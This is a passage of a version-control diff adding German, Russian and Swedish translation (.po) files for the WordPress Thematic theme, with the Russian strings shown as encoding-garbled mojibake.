(RSS)" +#~ msgstr "Beiträge (RSS)" +#~ msgid "%d queries. %s seconds." +#~ msgstr "%d Abfragen. %s Sekunden." +#~ msgid "Customize Header" +#~ msgstr "Kopfbereich anpassen" +#~ msgid "Header Image and Color" +#~ msgstr "Hintergrundbild und -farbe" +#~ msgid "Close Color Picker" +#~ msgstr "Farbwähler schließen" +#~ msgid "Save" +#~ msgstr "Speichern" +#~ msgid "Font Color:" +#~ msgstr "Schriftfarbe:" +#~ msgid "Any CSS color (%s or %s or %s)" +#~ msgstr "Eine beliebige CSS-Farbe (%s oder %s oder %s)" +#~ msgid "Upper Color:" +#~ msgstr "Farbe für oben:" +#~ msgid "HEX only (%s or %s)" +#~ msgstr "Nur HEX (%s oder %s)" +#~ msgid "Lower Color:" +#~ msgstr "Farbe für unten:" +#~ msgid "Toggle Text" +#~ msgstr "Text umschalten" +#~ msgid "Use Defaults" +#~ msgstr "Standard verwenden" +#~ msgid "Font Color" +#~ msgstr "Schriftfarbe" +#~ msgid "Upper Color" +#~ msgstr "Farbe für oben" +#~ msgid "Lower Color" +#~ msgstr "Farbe für unten" +#~ msgid "Advanced" +#~ msgstr "Erweitert" +#~ msgid "Update Header »" +#~ msgstr "Kopfbereich aktualisieren »" +#~ msgid "Font Color (CSS):" +#~ msgstr "Schriftfarbe (CSS):" +#~ msgid "Upper Color (HEX):" +#~ msgstr "Farbe für oben (HEX):" +#~ msgid "Lower Color (HEX):" +#~ msgstr "Farbe für unten (HEX):" +#~ msgid "Select Default Colors" +#~ msgstr "Standardfarben auswählen" +#~ msgid "Toggle Text Display" +#~ msgstr "Textanzeige aktivieren/deaktivieren" +#~ msgid "» Blog Archive" +#~ msgstr "» Blogarchiv" +#~ msgid "This entry was posted on %1$s at %2$s and is filed under %3$s." +#~ msgstr "" +#~ "Dieser Beitrag wurde am %1$s um %2$s Uhr veröffentlicht und unter %3$s " +#~ "gespeichert." +#~ msgid "Sorry, no posts matched your criteria." +#~ msgstr "" +#~ "Leider wurden keine Artikel gefunden, die Ihren Kriterien entsprechen." +#~ msgid "Sorry, but you are looking for something that isn’t here." +#~ msgstr "Es konnten leider keine passenden Inhalte gefunden werden." +#~ msgid "Read the rest of this page »" +#~ msgstr "Diesen Seite weiterlesen »" +#~ msgid "Search for:" +#~ msgstr "Suchen nach:" +#~ msgid "No posts found. Try a different search?" +#~ msgstr "" +#~ "Ihre Suche ergab keine Treffer. Möchten Sie eine neue Suche starten?" +#~ msgid "Author" +#~ msgstr "Autor" +#~ msgid "You are currently browsing the archives for the %s category." +#~ msgstr "Sie sind momentan im Archiv der Kategorie %s." +#~ msgid "" +#~ "You are currently browsing the %2$s blog archives " +#~ "for the day %3$s." +#~ msgstr "" +#~ "Sie sind momentan im Blogarchiv für den %3$s von %2" +#~ "$s." +#~ msgid "" +#~ "You are currently browsing the %2$s blog archives " +#~ "for %3$s." +#~ msgstr "" +#~ "Sie sind momentan im Blogarchiv für %3$s von %2$s." +#~ msgid "" +#~ "You are currently browsing the %2$s blog archives " +#~ "for the year %3$s." +#~ msgstr "" +#~ "Sie sind momentan im Blogarchiv für das Jahr %3$s von %2$s." +#~ msgid "" +#~ "You have searched the %2$s blog archives for " +#~ "‘%3$s’. If you are unable to find anything " +#~ "in these search results, you can try one of these links." +#~ msgstr "" +#~ "Sie haben im Blogarchiv von %2$s nach " +#~ "„%3$s“ gesucht. Falls Sie in den " +#~ "Suchergebnissen nicht fündig werden, helfen Ihnen mö" +#~ "glicherweise die folgenden Links." +#~ msgid "" +#~ "You are currently browsing the %2$s blog archives." +#~ msgstr "Sie sind momentan im Blogarchiv von %2$s." +#~ msgid "This page validates as XHTML 1.0 Transitional" +#~ msgstr "Diese Seite ist valides XHTML 1.0 Transitional" +#~ msgid "XHTML Friends Network" +#~ msgstr "XHTML Friends Network" +#~ msgid "XFN" +#~ msgstr "XFN" +#~ msgid "" +#~ "Powered by WordPress, state-of-the-art semantic personal publishing " +#~ "platform." +#~ msgstr "Läuft mit WordPress, der führenden Weblog-Anwendung." +#~ msgid "Edit this entry" +#~ msgstr "Diesen Eintrag bearbeiten" +#~ msgid "" +#~ "Powered by Wordpress" +#~ msgstr "" +#~ "WordPress" +#~ msgid "" +#~ "Logged in as %2$s. Logout »" +#~ msgstr "" +#~ "Angemeldet als %2$s. Abmelden " +#~ "»" + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/thematic/library/languages/ru_RU.mo Binary file web/wp-content/themes/thematic/library/languages/ru_RU.mo has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/thematic/library/languages/ru_RU.po --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/thematic/library/languages/ru_RU.po Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,403 @@ +msgid "" +msgstr "" +"Project-Id-Version: rivage\n" +"Report-Msgid-Bugs-To: \n" +"POT-Creation-Date: 2008-08-09 15:37+0100\n" +"PO-Revision-Date: \n" +"Last-Translator: curt \n" +"Language-Team: Frédéric Bourgeon \n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=UTF-8\n" +"Content-Transfer-Encoding: 8bit\n" +"Plural-Forms: nplurals=2; plural=n>1\n" +"X-Poedit-Language: French\n" +"X-Poedit-Country: FRANCE\n" +"X-Poedit-SourceCharset: utf-8\n" +"X-Poedit-KeywordsList: __;_e;_c\n" +"X-Poedit-Basepath: .\n" +"X-Poedit-SearchPath-0: C:\\wamp\\www\\wordpress\\wp-content\\themes\\thematic-0-6\n" + +#: C:\wamp\www\wordpress\wp-content\themes\thematic-0-6/404.php:12 +msgid "Apologies, but we were unable to find what you were looking for. Perhaps searching will help." +msgstr "Извините, но мы не Ñмогли найти то, что вы ищете. Возможно, поиÑк поможет." + +#: C:\wamp\www\wordpress\wp-content\themes\thematic-0-6/404.php:17 +#: C:\wamp\www\wordpress\wp-content\themes\thematic-0-6/search.php:58 +msgid "Find" +msgstr "ПоиÑк" + +#: C:\wamp\www\wordpress\wp-content\themes\thematic-0-6/archive.php:16 +#, php-format +msgid "Daily Archives: %s" +msgstr "Дневные архивы: %s" + +#: C:\wamp\www\wordpress\wp-content\themes\thematic-0-6/archive.php:18 +#, php-format +msgid "Monthly Archives: %s" +msgstr "МеÑÑчные архивы: %s" + +#: C:\wamp\www\wordpress\wp-content\themes\thematic-0-6/archive.php:20 +#, php-format +msgid "Yearly Archives: %s" +msgstr "Годовой архив: %s" + +#: C:\wamp\www\wordpress\wp-content\themes\thematic-0-6/archive.php:22 +msgid "Blog Archives" +msgstr "Ðрхивы блога" + +#: C:\wamp\www\wordpress\wp-content\themes\thematic-0-6/archive.php:31 +#: C:\wamp\www\wordpress\wp-content\themes\thematic-0-6/archive.php:53 +#: C:\wamp\www\wordpress\wp-content\themes\thematic-0-6/author.php:21 +#: C:\wamp\www\wordpress\wp-content\themes\thematic-0-6/author.php:57 +#: C:\wamp\www\wordpress\wp-content\themes\thematic-0-6/category.php:20 +#: C:\wamp\www\wordpress\wp-content\themes\thematic-0-6/category.php:42 +#: C:\wamp\www\wordpress\wp-content\themes\thematic-0-6/index.php:17 +#: C:\wamp\www\wordpress\wp-content\themes\thematic-0-6/index.php:49 +#: C:\wamp\www\wordpress\wp-content\themes\thematic-0-6/search.php:21 +#: C:\wamp\www\wordpress\wp-content\themes\thematic-0-6/search.php:43 +msgid "« Older posts" +msgstr "« Старые запиÑи" + +#: C:\wamp\www\wordpress\wp-content\themes\thematic-0-6/archive.php:32 +#: C:\wamp\www\wordpress\wp-content\themes\thematic-0-6/archive.php:54 +#: C:\wamp\www\wordpress\wp-content\themes\thematic-0-6/author.php:22 +#: C:\wamp\www\wordpress\wp-content\themes\thematic-0-6/author.php:58 +#: C:\wamp\www\wordpress\wp-content\themes\thematic-0-6/category.php:21 +#: C:\wamp\www\wordpress\wp-content\themes\thematic-0-6/category.php:43 +#: C:\wamp\www\wordpress\wp-content\themes\thematic-0-6/index.php:18 +#: C:\wamp\www\wordpress\wp-content\themes\thematic-0-6/index.php:50 +#: C:\wamp\www\wordpress\wp-content\themes\thematic-0-6/search.php:22 +#: C:\wamp\www\wordpress\wp-content\themes\thematic-0-6/search.php:44 +msgid "Newer posts »" +msgstr "Ðовые запиÑи »" + +#: C:\wamp\www\wordpress\wp-content\themes\thematic-0-6/archive.php:41 +#: C:\wamp\www\wordpress\wp-content\themes\thematic-0-6/attachment.php:20 +#: C:\wamp\www\wordpress\wp-content\themes\thematic-0-6/author.php:45 +#: C:\wamp\www\wordpress\wp-content\themes\thematic-0-6/category.php:30 +#: C:\wamp\www\wordpress\wp-content\themes\thematic-0-6/index.php:30 +#: C:\wamp\www\wordpress\wp-content\themes\thematic-0-6/search.php:31 +msgid "Read More »" +msgstr "Читать дальше »" + +#: C:\wamp\www\wordpress\wp-content\themes\thematic-0-6/archives.php:20 +msgid "Archives by Category" +msgstr "Ðрхивы категории" + +#: C:\wamp\www\wordpress\wp-content\themes\thematic-0-6/archives.php:26 +msgid "Archives by Month" +msgstr "Ðрхивы по меÑÑцам" + +#: C:\wamp\www\wordpress\wp-content\themes\thematic-0-6/archives.php:32 +#: C:\wamp\www\wordpress\wp-content\themes\thematic-0-6/comments.php:39 +#: C:\wamp\www\wordpress\wp-content\themes\thematic-0-6/comments.php:65 +#: C:\wamp\www\wordpress\wp-content\themes\thematic-0-6/links.php:20 +#: C:\wamp\www\wordpress\wp-content\themes\thematic-0-6/page.php:16 +msgid "Edit" +msgstr "Редактировать" + +#: C:\wamp\www\wordpress\wp-content\themes\thematic-0-6/attachment.php:22 +#: C:\wamp\www\wordpress\wp-content\themes\thematic-0-6/index.php:32 +msgid "Pages:" +msgstr "Страницы:" + +#: C:\wamp\www\wordpress\wp-content\themes\thematic-0-6/author.php:15 +msgid "Author Archives: " +msgstr "Ðрхивы автора" + +#: C:\wamp\www\wordpress\wp-content\themes\thematic-0-6/author.php:34 +msgid "Email " +msgstr "E-mail " + +#: C:\wamp\www\wordpress\wp-content\themes\thematic-0-6/category.php:13 +msgid "Category Archives:" +msgstr "Ðрхив категории" + +#: C:\wamp\www\wordpress\wp-content\themes\thematic-0-6/comments.php:9 +msgid "This post is password protected. Enter the password to view any comments." +msgstr "Эта Ð¿ÑƒÐ±Ð»Ð¸ÐºÐ°Ñ†Ð¸Ñ Ð·Ð°Ñ‰Ð¸Ñ‰ÐµÐ½Ð° паролем. Введите пароль чтобы увидеть комментарии." + +#: C:\wamp\www\wordpress\wp-content\themes\thematic-0-6/comments.php:28 +#, php-format +msgid "%d Comments" +msgstr "%d комментариев" + +#: C:\wamp\www\wordpress\wp-content\themes\thematic-0-6/comments.php:28 +msgid "One Comment" +msgstr "Один комментарий" + +#: C:\wamp\www\wordpress\wp-content\themes\thematic-0-6/comments.php:35 +#, php-format +msgid "Posted %1$s at %2$s | Permalink" +msgstr "Опубликован %1$s в %2$s | ПрÑÐ¼Ð°Ñ ÑÑылка" + +#: C:\wamp\www\wordpress\wp-content\themes\thematic-0-6/comments.php:40 +msgid "\t\t\t\t\tYour comment is awaiting moderation.\n" +msgstr "\t\t\t\t\tВаш комментарий ожидает модерации.\n" + +#: C:\wamp\www\wordpress\wp-content\themes\thematic-0-6/comments.php:54 +#, php-format +msgid "%d Trackbacks" +msgstr "%d trackback'ов" + +#: C:\wamp\www\wordpress\wp-content\themes\thematic-0-6/comments.php:54 +msgid "One Trackback" +msgstr "один trackback" + +#: C:\wamp\www\wordpress\wp-content\themes\thematic-0-6/comments.php:61 +#, php-format +msgid "By %1$s on %2$s at %3$s" +msgstr "%1$s %2$s %3$" + +#: C:\wamp\www\wordpress\wp-content\themes\thematic-0-6/comments.php:66 +msgid "\\t\\t\\t\\t\\tYour trackback is awaiting moderation.\\n" +msgstr "\\t\\t\\t\\t\\tВаш trackback ожидает модерации.\\n" + +#: C:\wamp\www\wordpress\wp-content\themes\thematic-0-6/comments.php:79 +msgid "Post a Comment" +msgstr "ОÑтавить комментарий" + +#: C:\wamp\www\wordpress\wp-content\themes\thematic-0-6/comments.php:82 +#, php-format +msgid "You must be logged in to post a comment." +msgstr "Ð’Ñ‹ должны войти чтобы оÑтавить комментарий." + +#: C:\wamp\www\wordpress\wp-content\themes\thematic-0-6/comments.php:90 +#, php-format +msgid "Logged in as %2$s. Log out?" +msgstr "Ð’Ñ‹ вошли как %2$s. Выйти?" + +#: C:\wamp\www\wordpress\wp-content\themes\thematic-0-6/comments.php:97 +msgid "Your email is never published nor shared." +msgstr "Ваш e-mail никогда не будет опубликован или передан третьим лицам." + +#: C:\wamp\www\wordpress\wp-content\themes\thematic-0-6/comments.php:97 +msgid "Required fields are marked *" +msgstr "ОбÑзательные Ð¿Ð¾Ð»Ñ Ð¾Ñ‚Ð¼ÐµÑ‡ÐµÐ½Ñ‹ *" + +#: C:\wamp\www\wordpress\wp-content\themes\thematic-0-6/comments.php:100 +msgid "Name" +msgstr "ИмÑ" + +#: C:\wamp\www\wordpress\wp-content\themes\thematic-0-6/comments.php:100 +#: C:\wamp\www\wordpress\wp-content\themes\thematic-0-6/comments.php:105 +msgid "*" +msgstr "*" + +#: C:\wamp\www\wordpress\wp-content\themes\thematic-0-6/comments.php:105 +msgid "Email" +msgstr "E-mail" + +#: C:\wamp\www\wordpress\wp-content\themes\thematic-0-6/comments.php:110 +msgid "Website" +msgstr "Сайт" + +#: C:\wamp\www\wordpress\wp-content\themes\thematic-0-6/comments.php:117 +msgid "Comment" +msgstr "Комментарий" + +#: C:\wamp\www\wordpress\wp-content\themes\thematic-0-6/comments.php:123 +msgid "Post Comment" +msgstr "ОÑтавить комментарий" + +#: C:\wamp\www\wordpress\wp-content\themes\thematic-0-6/header.php:23 +msgid "Posts RSS feed" +msgstr "RSS лента запиÑей" + +#: C:\wamp\www\wordpress\wp-content\themes\thematic-0-6/header.php:24 +msgid "Comments RSS feed" +msgstr "RSS лента комментариев" + +#: C:\wamp\www\wordpress\wp-content\themes\thematic-0-6/header.php:62 +msgid "Skip navigation to the content" +msgstr "ПропуÑтить навигацию" + +#: C:\wamp\www\wordpress\wp-content\themes\thematic-0-6/header.php:62 +msgid "Skip to content" +msgstr "Перейти к Ñодержимому" + +#: C:\wamp\www\wordpress\wp-content\themes\thematic-0-6/page.php:14 +msgid "Pages: " +msgstr "Страницы:" + +#: C:\wamp\www\wordpress\wp-content\themes\thematic-0-6/search.php:15 +msgid "Search Results for:" +msgstr "Результаты поиÑка длÑ:" + +#: C:\wamp\www\wordpress\wp-content\themes\thematic-0-6/search.php:51 +msgid "Nothing Found" +msgstr "Ðичего не найдено" + +#: C:\wamp\www\wordpress\wp-content\themes\thematic-0-6/search.php:53 +msgid "Sorry, but nothing matched your search criteria. Please try again with some different keywords." +msgstr "Извините, но мы не нашли ни чего отвечающего вашим запроÑам. ПожалуйÑта попробуйте Ñнова Ñ Ð´Ñ€ÑƒÐ³Ð¸Ð¼Ð¸ ключевыми Ñловами." + +#: C:\wamp\www\wordpress\wp-content\themes\thematic-0-6/sidebar.php:16 +#: C:\wamp\www\wordpress\wp-content\themes\thematic-0-6/sidebar.php:20 +msgid "Search" +msgstr "ПоиÑк" + +#: C:\wamp\www\wordpress\wp-content\themes\thematic-0-6/sidebar.php:26 +msgid "Pages" +msgstr "Страницы" + +#: C:\wamp\www\wordpress\wp-content\themes\thematic-0-6/sidebar.php:33 +msgid "Categories" +msgstr "Категории" + +#: C:\wamp\www\wordpress\wp-content\themes\thematic-0-6/sidebar.php:41 +msgid "Archives" +msgstr "Ðрхивы" + +#: C:\wamp\www\wordpress\wp-content\themes\thematic-0-6/sidebar.php:58 +msgid "RSS Feeds" +msgstr "RSS ленты" + +#: C:\wamp\www\wordpress\wp-content\themes\thematic-0-6/sidebar.php:60 +msgid "All posts" +msgstr "Ð’Ñе запиÑи" + +#: C:\wamp\www\wordpress\wp-content\themes\thematic-0-6/sidebar.php:61 +msgid "All comments" +msgstr "Ð’Ñе комментарии" + +#: C:\wamp\www\wordpress\wp-content\themes\thematic-0-6/sidebar.php:66 +msgid "Meta" +msgstr "Мета" + +#: C:\wamp\www\wordpress\wp-content\themes\thematic-0-6/sitemeta.php:8 +msgid "Site Meta" +msgstr "Мета Ñайта" + +#: C:\wamp\www\wordpress\wp-content\themes\thematic-0-6/tag.php:13 +msgid "Tag Archives:" +msgstr "Ðрхивы Ñ‚Ñгов:" + +#: C:\wamp\www\wordpress\wp-content\themes\thematic-0-6/library/functions/hooks-filters.php:26 +msgid "Not Found" +msgstr "Ðе найдено" + +#: C:\wamp\www\wordpress\wp-content\themes\thematic-0-6/library/functions/hooks-filters.php:31 +#: C:\wamp\www\wordpress\wp-content\themes\thematic-0-6/library/functions/hooks-filters.php:115 +msgid "Permalink to " +msgstr "ПрÑÐ¼Ð°Ñ ÑÑылка на" + +#: C:\wamp\www\wordpress\wp-content\themes\thematic-0-6/library/functions/hooks-filters.php:39 +msgid "By " +msgstr "Опубликовал " + +#: C:\wamp\www\wordpress\wp-content\themes\thematic-0-6/library/functions/hooks-filters.php:41 +msgid "View all posts by " +msgstr "ПоÑмотреть вÑе запиÑи " + +#: C:\wamp\www\wordpress\wp-content\themes\thematic-0-6/library/functions/hooks-filters.php:65 +msgid "Edit post" +msgstr "Редактировать запиÑÑŒ" + +#: C:\wamp\www\wordpress\wp-content\themes\thematic-0-6/library/functions/hooks-filters.php:72 +msgid "This entry was posted in " +msgstr "ЗапиÑÑŒ опубликована в рубрике " + +#: C:\wamp\www\wordpress\wp-content\themes\thematic-0-6/library/functions/hooks-filters.php:75 +msgid "Also posted in " +msgstr "Также опубликована в " + +#: C:\wamp\www\wordpress\wp-content\themes\thematic-0-6/library/functions/hooks-filters.php:78 +msgid "Posted in " +msgstr "Опубликовано в рубрике " + +#: C:\wamp\www\wordpress\wp-content\themes\thematic-0-6/library/functions/hooks-filters.php:84 +msgid " and tagged" +msgstr " Ñ Ñ‚Ñгами" + +#: C:\wamp\www\wordpress\wp-content\themes\thematic-0-6/library/functions/hooks-filters.php:87 +msgid " Also tagged " +msgstr " отмечена тегами" + +#: C:\wamp\www\wordpress\wp-content\themes\thematic-0-6/library/functions/hooks-filters.php:89 +msgid "Tagged" +msgstr "Теги" + +#: C:\wamp\www\wordpress\wp-content\themes\thematic-0-6/library/functions/hooks-filters.php:97 +#: C:\wamp\www\wordpress\wp-content\themes\thematic-0-6/library/functions/hooks-filters.php:100 +#: C:\wamp\www\wordpress\wp-content\themes\thematic-0-6/library/functions/hooks-filters.php:103 +msgid "Comment on " +msgstr "Комментарий на " + +#: C:\wamp\www\wordpress\wp-content\themes\thematic-0-6/library/functions/hooks-filters.php:98 +msgid " Comments" +msgstr " Комментарии" + +#: C:\wamp\www\wordpress\wp-content\themes\thematic-0-6/library/functions/hooks-filters.php:101 +msgid " Comment" +msgstr " Комментарий" + +#: C:\wamp\www\wordpress\wp-content\themes\thematic-0-6/library/functions/hooks-filters.php:104 +msgid "Leave a comment" +msgstr "ОÑтавить комментарий" + +#: C:\wamp\www\wordpress\wp-content\themes\thematic-0-6/library/functions/hooks-filters.php:107 +msgid "Comments closed" +msgstr "Комментирование закрыто" + +#: C:\wamp\www\wordpress\wp-content\themes\thematic-0-6/library/functions/hooks-filters.php:115 +msgid ". Bookmark the " +msgstr ". Создать закладку на" + +#: C:\wamp\www\wordpress\wp-content\themes\thematic-0-6/library/functions/hooks-filters.php:116 +msgid "permalink" +msgstr "" + +#: C:\wamp\www\wordpress\wp-content\themes\thematic-0-6/library/functions/hooks-filters.php:118 +#: C:\wamp\www\wordpress\wp-content\themes\thematic-0-6/library/functions/hooks-filters.php:126 +msgid "Post a comment" +msgstr "ОÑтавить комментарий" + +#: C:\wamp\www\wordpress\wp-content\themes\thematic-0-6/library/functions/hooks-filters.php:119 +msgid " or leave a trackback: " +msgstr "или trackback:" + +#: C:\wamp\www\wordpress\wp-content\themes\thematic-0-6/library/functions/hooks-filters.php:120 +#: C:\wamp\www\wordpress\wp-content\themes\thematic-0-6/library/functions/hooks-filters.php:123 +msgid "Trackback URL for your post" +msgstr "Trackback URL Ð´Ð»Ñ Ð²Ð°ÑˆÐµÐ¹ запиÑи" + +#: C:\wamp\www\wordpress\wp-content\themes\thematic-0-6/library/functions/hooks-filters.php:120 +#: C:\wamp\www\wordpress\wp-content\themes\thematic-0-6/library/functions/hooks-filters.php:123 +msgid "Trackback URL" +msgstr "Trackback URL" + +#: C:\wamp\www\wordpress\wp-content\themes\thematic-0-6/library/functions/hooks-filters.php:122 +msgid " Comments are closed, but you can leave a trackback: " +msgstr " Комментирование закрыто, но вы можете оÑтавить trackback:" + +#: C:\wamp\www\wordpress\wp-content\themes\thematic-0-6/library/functions/hooks-filters.php:125 +msgid " Trackbacks are closed, but you can " +msgstr " Trackback'и закрыты, но вы можете" + +#: C:\wamp\www\wordpress\wp-content\themes\thematic-0-6/library/functions/hooks-filters.php:126 +msgid "post a comment" +msgstr "оÑтавить комментарий" + +#: C:\wamp\www\wordpress\wp-content\themes\thematic-0-6/library/functions/hooks-filters.php:128 +msgid " Both comments and trackbacks are currently closed." +msgstr " И комментирование и trackback'и в наÑтоÑщий момент закрыты." + +#: C:\wamp\www\wordpress\wp-content\themes\thematic-0-6/library/functions/theme-options.php:199 +msgid "For more information about this theme, visit ThemeShaper. Please visit the ThemeShaper Forums if you have any questions about Thematic." +msgstr "За большей информацией об Ñтой теме, обращайтеÑÑŒ на ThemeShaper. Так же можете поÑетить Форумы ThemeShaper еÑли у Ð²Ð°Ñ ÐµÑть вопроÑÑ‹ о теме Thematic." + +#: C:\wamp\www\wordpress\wp-content\themes\thematic-0-6/library/functions/widgets.php:43 +#: C:\wamp\www\wordpress\wp-content\themes\thematic-0-6/library/functions/widgets.php:195 +#: C:\wamp\www\wordpress\wp-content\themes\thematic-0-6/library/functions/widgets.php:196 +msgid "RSS Links" +msgstr "RSS ÑÑылки" + +#: C:\wamp\www\wordpress\wp-content\themes\thematic-0-6/library/functions/widgets.php:67 +msgid "Title:" +msgstr "Заголовок:" + +#: C:\wamp\www\wordpress\wp-content\themes\thematic-0-6/library/functions/widgets.php:190 +msgid "Blog Index" +msgstr "ГлавнаÑ" + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/thematic/library/languages/sv_SE.mo Binary file web/wp-content/themes/thematic/library/languages/sv_SE.mo has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/thematic/library/languages/sv_SE.po --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/thematic/library/languages/sv_SE.po Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,481 @@ +msgid "" +msgstr "" +"Project-Id-Version: thematic swedish\n" +"Report-Msgid-Bugs-To: \n" +"POT-Creation-Date: 2009-03-15 11:44+0100\n" +"PO-Revision-Date: \n" +"Last-Translator: Chris Gossmann \n" +"Language-Team: Björn Syse \n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=UTF-8\n" +"Content-Transfer-Encoding: 8bit\n" +"X-Poedit-Language: Swedish\n" +"X-Poedit-Country: Sweden\n" +"X-Poedit-SourceCharset: utf-8\n" +"X-Poedit-Basepath: sv_SE.po\n" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/404.php:10 +msgid "Apologies, but we were unable to find what you were looking for. Perhaps searching will help." +msgstr "Beklagar, men vi kunde inte hitta vad du letar efter. Prova att söka." + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/404.php:15 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/search.php:58 +msgid "Find" +msgstr "Sök" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/archive.php:16 +#, php-format +msgid "Daily Archives: %s" +msgstr "Arkiv (dagligen): %s" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/archive.php:18 +#, php-format +msgid "Monthly Archives: %s" +msgstr "MÃ¥natliga arkiv: %s" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/archive.php:20 +#, php-format +msgid "Yearly Archives: %s" +msgstr "Arkiv (årligen): %s" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/archive.php:22 +msgid "Blog Archives" +msgstr "Bloggarkiv" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/archive.php:31 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/archive.php:53 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/author.php:21 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/author.php:57 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/category.php:20 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/category.php:42 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/index.php:17 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/index.php:49 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/search.php:21 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/search.php:43 +msgid "« Older posts" +msgstr "« Äldre inlägg" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/archive.php:32 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/archive.php:54 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/author.php:22 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/author.php:58 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/category.php:21 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/category.php:43 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/index.php:18 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/index.php:50 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/search.php:22 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/search.php:44 +msgid "Newer posts »" +msgstr "Senare inlägg »" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/archive.php:41 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/attachment.php:20 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/author.php:45 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/category.php:30 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/index.php:30 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/search.php:31 +msgid "Read More »" +msgstr "Läs vidare »" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/archives.php:20 +msgid "Archives by Category" +msgstr "Arkiv per kategori" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/archives.php:26 +msgid "Archives by Month" +msgstr "Arkiv per månad" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/archives.php:32 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/links.php:20 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/page.php:16 +msgid "Edit" +msgstr "Redigera" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/attachment.php:22 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/index.php:32 +msgid "Pages:" +msgstr "Sidor:" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/author.php:15 +msgid "Author Archives: " +msgstr "Författararkiv:" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/author.php:34 +msgid "Email " +msgstr "Epost" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/category.php:13 +msgid "Category Archives:" +msgstr "Kategori-arkiv:" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/comments.php:10 +msgid "This post is password protected. Enter the password to view any comments." +msgstr "Detta inlägg är lösenordsskyddat. Skriv in lösenordet för att se kommentarer." + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/comments.php:31 +#, php-format +msgid "%d Comments" +msgstr "%d kommentarer" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/comments.php:31 +msgid "One Comment" +msgstr "En kommentar" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/comments.php:52 +#, php-format +msgid "%d Trackbacks" +msgstr "%d trackbacks" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/comments.php:52 +msgid "One Trackback" +msgstr "En trackback" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/comments.php:67 +msgid "Post a Comment" +msgstr "Skriv en kommentar" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/comments.php:67 +#, php-format +msgid "Post a Reply to %s" +msgstr "Skriv ett svar till %s" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/comments.php:72 +#, php-format +msgid "You must be logged in to post a comment." +msgstr "Du måste vara inloggad för att skriva en kommentar." + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/comments.php:83 +#, php-format +msgid "Logged in as %2$s. Log out?" +msgstr "Inloggad som %2$s. Logga ut?" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/comments.php:90 +msgid "Your email is never published nor shared." +msgstr "Din epostadress delas eller publiceras aldrig" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/comments.php:90 +msgid "Required fields are marked *" +msgstr "Obligatoriska fält är markerade med *" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/comments.php:93 +msgid "Name" +msgstr "Namn" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/comments.php:93 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/comments.php:98 +msgid "*" +msgstr "*" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/comments.php:98 +msgid "Email" +msgstr "Epost" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/comments.php:103 +msgid "Website" +msgstr "Website" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/comments.php:110 +msgid "Comment" +msgstr "Kommentar" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/comments.php:115 +msgid "You may use these HTML tags and 